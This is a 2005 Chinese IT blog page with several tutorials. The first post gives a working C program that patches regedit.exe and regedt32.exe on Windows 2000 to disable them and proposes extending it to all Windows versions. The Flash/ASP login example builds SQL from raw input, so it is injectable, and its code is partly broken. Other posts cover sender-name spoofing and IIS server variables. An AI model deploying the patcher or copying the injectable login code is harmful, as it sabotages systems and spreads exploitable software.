IT博客-哈欠的个人房间

注册表终极操作——锁定注册表

哈欠 — Fri, 23 Dec 2005 07:08:00 GMT

你有没有遇到注册表被锁定，无法打开注册表来手工修复呢？很多人都为这个头疼吧，相信你被锁定一次就知道他的操作原理了：

修改[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
Version\Policies\System]下的DisableRegistryTools值为1

解锁的方法也有几种，比如程序用API函数调用注册表直接删除，做一个REG文件直接导入，写一个脚本…………

今天我就教大家写个程序来实现另类锁定，是不是很好奇了？跟我来。

实验环境：windows2000
实验目的：锁定注册表（本方法利用了Cracker的思路来实现，直接让程序修改程序指令，使调用注册表程序禁止。）
实现方法：C程序

首先我们要按照Cracker的思路反汇编WINNT下的regedit.exe和regedt32.exe找到跳转指令，怎么得到这些信息不是我们今天的目的，这里我就不详细介绍了，以下是我反汇编找到的跳转地址：
1.regedit.exe
偏移地址：0x69CA 将指令：0x74 0x1A 修改成:0x90 0x90

2.regedt32.exe
偏移地址：0x10bf2 将指令：0x74 0x52 修改成:0x90 0x90

现在我们用程序把这2个偏移地址的指令给修改成0x90 0x90 ( 0x90代表nop,就是让程序什么也不做，执行下一条指令)让我们看看程序是如何实现的吧。

#include
#include
bool scanreg(const char *file,long offset, int length,char *the); /*函数说明*/

main()
{
char the[]={ 0x90,0x90 };
scanreg("C:\\WINNT\\regedit.exe",0x69CA,0x02,the); /*调用函数修改winnt下的regedit.exe 其中的0x02是修改长度*/
scanreg("C:\\WINNT\\ServicePackFiles\\i386\\regedit.exe",0x69CA,0x02,the); /*调用函数改变补丁下regedit.exe*/
scanreg("C:\\WINNT\\system32\\regedt32.exe",0x10bf2,0x02,the); /*调用函数修改system32下的regedt32.exe */
scanreg("C:\\WINNT\\ServicePackFiles\\i386\\regedt32.exe",0x10bf2,0x02,the); /*调用函数改变补丁下regedt32.exe*/
}
bool scanreg(const char *file,long offset, int length,char *the)
{
FILE *fp = NULL;
bool result=false;
if((fp=fopen(file,"rb+"))!=NULL) /*打开文件进行读写操作*/
{
fseek(fp,offset,1); /*把指针指向我们定义的偏移地址*/
fwrite(the,length,1,fp); /*修改程序，把指令替换成0x90*/
fclose(fp); /*关闭文件*/
result=true;
}
return(result);
}

好了，我这里只是一个示范，只适合2000系统，把windows每种系统的注册表调用程序都分析一下，然后在程序开始用API函数GetVersionEx(LPOSVERSIONINFO lpVersionInfo)判断系统，根据判断的系统来调用相应的修改函数。那不是通杀windows了？上面把方法公布出来，以便大家做好防范。

哈欠 2005-12-23 15:08 发表评论

Flash 与 Asp 的结合使用

哈欠 — Wed, 14 Dec 2005 04:15:00 GMT

Flash 的功能已经非常强大，完全可以跟其他的服务器端语言结合起来,做出适合现在的网络应用的网站。一个典型的模式就是Flash 与Asp的结合使用。其架构如图1所示。

图01

可以把上面的结构看成是三层，Flash是一层，Asp是一层，数据库是一层。对Flash和Asp有点了解的人，只要处理好层与层之间的交互，结合使用Flash与Asp就决不是什么难事。

　　一、下面我们就先来看看Flash与Asp之间的交互

　　Flash与Asp的通讯是用Http协议，其请求格式为http://ip地址?参数1=值1&参数2=值2

　　即是在目的地址后面加上问号，再跟上参数字符串，参数之间用“&”号格开。如：
http://www.pcedu.com.cn/test.asp?userid=guest&pwd=123

　　在上面的请求中，请求的目的文件为：http://www.pcedu.com.cn/test.asp，第一个参数名为userid，值为guest，第二个参数名为pwd，值为123。

　　Flash与Asp之间的交互无非就是构造上面的请求字符串。

　　1、在Flash中，先构造好请求的字符串，然后利用函数LoadVariables()，就可以向服务器端发送请求和参数。我们来详细看看LoadVariables()这个函数。

　　函数的标准格式为loadVariables ("url" ,level/"target" [, variables])

　　在函数的各个参数中，url就是上面说的请求字符串。level/“target”是返回值的“层次”或者“目标”，这两个当中只能指定一个。variables是请求的方式，其值可以是“Get”或者是“Post”，一般Get用于参数值比较短的传送，Post用于参数值比较长的传送，这个参数是可选的。比如loadVariables ("http://www.pcedu.com.cn/guest.asp?userid=guest&pwd=123" ,0, “GET”)就是一个完整的请求。

　　2、在Asp中，先要取得从Flash端传送过来的参数，这跟操作普通的HTML表单是一样的。都是利用Request对象，其语句为：

username = Request(“userid”)
password = Request(“pwd”)

　　userid和pwd就是从Flash端发送过来的参数名，如果是上一步中的请求字符串，username的值为guest，pwd的值为123。
　　3、在服务器端处理完请求，获得所需要的值后，Asp向Flash端发送结果，跟从Asp中操作Html语言一样，都是用Response对象，其语句为：

Response.Write(“login=true&des=success”)

其返回值1的名为login，值为true，返回值2的名为des，值为success。

　　4、在Flash端取得从服务器端返回的值，与操作Flash中普通的变量没什么不同。如：
_root.gotoAndPlay(eval(login))表示的是跳转到login的值的那一帧。但要注意的是在发送请求一段时间之后，才能用返回值，不然取得的是尚未返回的值，错误就在所难免了，而且这一类的错误很难发现，用的时候要多加小心。

　　二、Asp与数据库之间的交互

　　在Asp与数据库的交互一般是用ADO控件。其读取数据库的语句为：

‘定义一个Connection对象
set conn=Server.CreateObject("ADODB.Connection")
‘用Connection对象打开数据库，这里打开的是sql server，数据库的地址为192.168.1.32
‘数据库的用户名为zengyu，密码为123
conn.open application("Driver={SQL Server};SERVER=192.168.1.32;DATABASE=test;UID=zengyu;PASSWORD=123")
‘创建一个Recordset对象
set rstemp=Server.CreateObject("ADODB.Recordset")
‘构造一个sql语句
sqltemp1="select * from UserInfo where userid='"&strname&"' and password='"&strpassword&"'"
‘查询数据库
rstemp.open sqltemp1,conn, 1, 1
if not(rstemp.bof and rstemp.eof) then
Response.Write (“login=true”)
end if

　　这里实现的只是简单地查询数据库，要想了解Asp操作数据库更详细的东西，可以找Asp与数据库方面的资料深入学习一下。

　　三、例子――登陆的实现

　　下面我们来制作一个简单的实例，在Flash端输入用户名和密码，通过Asp查询数据库，如果用户名和密码正确，就跳转到登陆成功界面，否则就跳转到登陆失败界面。

　　1、新建一个Flash，在场景中制作两个文本框和一个Button，如图2所示。其中用户名对应的文本框属性如图3所示，密码对应的文本框属性如图4所示。注意其中的文本类型和变量名。

图2

图03

图04

　　2、创建另外两个关键帧，分别命名为“true”和“false”，并分别显示“登陆成功”和“登陆失败”字样。

　　3、在Button的ActionScript中增加下面的语句，注意更改其中的ip地址。

on (release) {
loadVariables("http://192.168.1.32/guest.asp?userid=" add eval(_root.userid) add "&pwd=" add eval(_root.pwd),this, "GET");
now = new Date();
begintime = now.getSeconds();
while(true) {
endt = new Date();
endtime = endt.getSeconds();
if (endt - now > 2)
{
_root.gotoAndPlay(eval(login));
}
}
}

　　4、在Sql Server数据库（数据库的类型不重要，改一改连接串就可以的）中，建立一张名为“userinfo”的表，其中有“Userid”和“Password”两个字段。

　　5、建立一个guest.asp文件，文件内容为

<%
username = Request(“userid”)
password = Request(“pwd”)
set conn=Server.CreateObject("ADODB.Connection")
conn.open application("Driver={SQL Server};SERVER=192.168.1.32;DATABASE=test;UID=zengyu;PASSWORD=123")
set rstemp=Server.CreateObject("ADODB.Recordset")
sqltemp1="select * from UserInfo where userid='"&username&"' and password='"&strpassword&"'"
rstemp.open sqltemp1,conn, 1, 1
if not(rstemp.bof and rstemp.eof) then
Response.Write (“login=true”)
Else
Response.Write (“login=false”)
end if
%>

　　6、将Flash文件和Asp文件部署到IIS服务器中，然后打开Flash文件，输入登陆信息就可以看到实例的效果了。

哈欠 2005-12-14 12:15 发表评论

asp.net自带的MailMessage其实很好用的,还支持SMTP

哈欠 — Wed, 14 Dec 2005 02:23:00 GMT

代码如下:

using System.Web.Mail;

public static void SendMail(string to, string subject, string body)
        {
            MailMessage mail = new MailMessage();
            mail.From = "\"发送者的名字\" <你的邮箱地址>";//设定发件人名字和地址(必须填写)
            mail.BodyFormat = MailFormat.Html;//用html格式
            mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate", "1"); //basic authentication
            mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendusername","邮箱用户名"); //设定SMTP验证的用户名
            mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendpassword", "邮箱密码"); //设定SMTP验证的密码
            SmtpMail.SmtpServer = "smtp服务器";//设定SMTP服务器地址,如smtp.163.com
            mail.To = to ;//设定收件人地址（必须填写）。
            mail.Subject = subject;
            mail.Body = body;
            SmtpMail.Send(mail);

        }

大家注意到mail.From = "\"发送者的名字\" <你的邮箱地址>"; 了吗?
发送者的名字是你想邮件用什么名字发送,用什么名字都行,如:

哈欠 2005-12-14 10:23 发表评论

javascript 的实例

哈欠 — Wed, 14 Dec 2005 02:18:00 GMT

1．让文字不停地滚动

　　滚动文字

2．记录并显示网页的最后修改时间

3．关闭当前窗口

　　关闭窗口

4．5秒后关闭当前页

5．2秒后载入指定网页

6．添加到收藏夹

7．让超链接不显示下划线

8．禁止鼠标右键的动作

9．设置该页为首页

　　　　　　设为首页　　

10．节日倒计时

11．单击按钮打印出当前页

12．单击按钮‘另存为’当前页

13．显示系统当前日期

14．不同时间段显示不同问候语

15．水中倒影效果

16．慢慢变大的窗口

http://www.xxx.com)">进入

17．改变IE地址栏的IE图标

　　我们要先做一个16*16的icon（图标文件），保存为index.ico。把这个图标文件上传到根目录下并在首页之间加上如下代码：

哈欠 2005-12-14 10:18 发表评论

ServerVariables 集合环境变量列表

哈欠 — Wed, 14 Dec 2005 01:32:00 GMT

语法
Request.ServerVariables(server environment variable)

参数
服务器环境变量
指定要检索的服务器环境变量名。可以使用下面列出的值。

变量说明
ALL_HTTP客户端发送的所有HTTP标题文件。
ALL_RAW检索未处理表格中所有的标题。ALL_RAW和ALL_HTTP不同，ALL_HTTP在标题文件名前面放置HTTP_prefix，并且标题名称总是大写的。使用ALL_RAW时，标题名称和值只在客户端发送时才出现。
APPL_MD_PATH检索ISAPIDLL的(WAM)Application的元数据库路径。
APPL_PHYSICAL_PATH检索与元数据库路径相应的物理路径。IIS通过将APPL_MD_PATH转换为物理（目录）路径以返回值。
AUTH_PASSWORD该值输入到客户端的鉴定对话中。只有使用基本鉴定时，该变量才可用。
AUTH_TYPE这是用户访问受保护的脚本时，服务器用于检验用户的验证方法。
AUTH_USER未被鉴定的用户名。
CERT_COOKIE客户端验证的唯一ID，以字符串方式返回。可作为整个客户端验证的签字。
CERT_FLAGS如有客户端验证，则bit0为1。
如果客户端验证的验证人无效（不在服务器承认的CA列表中），bit1被设置为1。

CERT_ISSUER用户验证中的颁布者字段（O=MS，OU=IAS，CN=username，C=USA）。
CERT_KEYSIZE安全套接字层连接关键字的位数，如128。
CERT_SECRETKEYSIZE服务器验证私人关键字的位数。如1024。
CERT_SERIALNUMBER用户验证的序列号字段。
CERT_SERVER_ISSUER服务器验证的颁发者字段。
CERT_SERVER_SUBJECT服务器验证的主字段。
CERT_SUBJECT客户端验证的主字段。
CONTENT_LENGTH客户端发出内容的长度。
CONTENT_TYPE内容的数据类型。同附加信息的查询一起使用，如HTTP查询GET、POST和PUT。
GATEWAY_INTERFACE服务器使用的CGI规格的修订。格式为CGI/revision。
HTTP_HeaderName存储在标题文件中的值。未列入该表的标题文件必须以HTTP_作为前缀，以使ServerVariables集合检索其值。
注意服务器将HeaderName中的下划线（_）解释为实际标题中的破折号。例如，如果您指定HTTP_MY_HEADER，服务器将搜索以MY-HEADER为名发送的标题文件。

HTTPS如果请求穿过安全通道（SSL），则返回ON。如果请求来自非安全通道，则返回OFF。
HTTPS_KEYSIZE安全套接字层连接关键字的位数，如128。
HTTPS_SECRETKEYSIZE服务器验证私人关键字的位数。如1024。
HTTPS_SERVER_ISSUER服务器验证的颁发者字段。
HTTPS_SERVER_SUBJECT服务器验证的主字段。
INSTANCE_ID文本格式IIS实例的ID。如果实例ID为1，则以字符形式出现。使用该变量可以检索请求所属的（元数据库中）Web服务器实例的ID。
INSTANCE_META_PATH响应请求的IIS实例的元数据库路径。
LOCAL_ADDR返回接受请求的服务器地址。如果在绑定多个IP地址的多宿主机器上查找请求所使用的地址时，这条变量非常重要。
LOGON_USER用户登录WindowsNT?的帐号。
PATH_INFO客户端提供的额外路径信息。可以使用这些虚拟路径和PATH_INFO服务器变量访问脚本。如果该信息来自URL，在到达CGI脚本前就已经由服务器解码了。
PATH_TRANSLATEDPATH_INFO转换后的版本，该变量获取路径并进行必要的由虚拟至物理的映射。
QUERY_STRING查询HTTP请求中问号（?）后的信息。
REMOTE_ADDR发出请求的远程主机的IP地址。
REMOTE_HOST发出请求的主机名称。如果服务器无此信息，它将设置为空的MOTE_ADDR变量。
REMOTE_USER用户发送的未映射的用户名字符串。该名称是用户实际发送的名称，与服务器上验证过滤器修改过后的名称相对。
REQUEST_METHOD该方法用于提出请求。相当于用于HTTP的GET、HEAD、POST等等。
SCRIPT_NAME执行脚本的虚拟路径。用于自引用的URL。
SERVER_NAME出现在自引用UAL中的服务器主机名、DNS化名或IP地址。
SERVER_PORT发送请求的端口号。
SERVER_PORT_SECURE包含0或1的字符串。如果安全端口处理了请求，则为1，否则为0。
SERVER_PROTOCOL请求信息协议的名称和修订。格式为protocol/revision。
SERVER_SOFTWARE应答请求并运行网关的服务器软件的名称和版本。格式为name/version。
URL提供URL的基本部分。

例子:
Request.ServerVariables["REMOTE_ADDR"]

就是显示访问者的IP

哈欠 2005-12-14 09:32 发表评论